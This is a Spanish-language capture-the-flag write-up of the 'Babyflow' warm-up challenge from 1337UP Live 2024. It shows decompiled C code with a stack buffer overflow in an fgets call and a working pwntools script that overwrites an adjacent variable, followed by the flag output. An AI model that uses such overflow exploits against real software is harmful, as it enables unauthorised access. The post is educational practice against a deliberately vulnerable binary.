Babyflow 1337UP Live

naibu3 · November 17, 2024

Este es uno de los retos de calentamiento de la 1337UP Live de 2024, competición en la que participé en solitario debido al poco tiempo que tuve. Igualmente, subiré writeups de muchos de los retos de pwn de la competición ya que me parecieron muy originales y entretenidos.

Image

Overview

El enunciado nos dice:

Does this login application even work?!

Reconocimiento

Tenemos un binario que al analizarlo con checksec:

    Arch:     amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Comenzamos descompilando con ghidra:

undefined8 main(void)

{
  int correct;
  char password [44];
  int control;
  
  control = 0;
  printf("Enter password: ");
  fgets(password,50,stdin);
  correct = strncmp(password,"SuPeRsEcUrEPaSsWoRd123",0x16);
  if (correct == 0) {
    puts("Correct Password!");
    if (control == 0) {
      puts("Are you sure you are admin? o.O");
    }
    else {
      puts("INTIGRITI{the_flag_is_different_on_remote}");
    }
  }
  else {
    puts("Incorrect Password!");
  }
  return 0;
}

Parece que simplemente comprueba si la contraseña coincide con SuPeRsEcUrEPaSsWoRd123 y que la variable control sea igual a cero. Por suerte, en la llamada a fgets tenemos una vulnerabilidad de tipo Buffer Overflow (se almacenan 50 bytes en una variable de 44).

Explotación

Simplemente, podemos utilizar python y pwntools para enviar esa contraseña seguida de una cadena de A’s que desbordaran password y llegarán a control, cambiando su valor. El script sería:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *


exe = context.binary = ELF(args.EXE or 'babyflow')

def start():

    if args.REMOTE:
        return remote("", 1336)
    else:
        return process('./babyflow')

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Partial RELRO
# Stack:      No canary found
# NX:         NX enabled
# PIE:        PIE enabled
# Stripped:   No

io = start()

payload = "SuPeRsEcUrEPaSsWoRd123"

payload += 100*'A'

io.sendline(payload)

io.interactive()

Si ejecutamos, tenemos la flag:

python3 ./autopwn.py REMOTE
[...]
[*] Switching to interactive mode
Enter password: Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}

Si te ha gustado, puedes seguir leyendo el resto de writeups!

Twitter, Facebook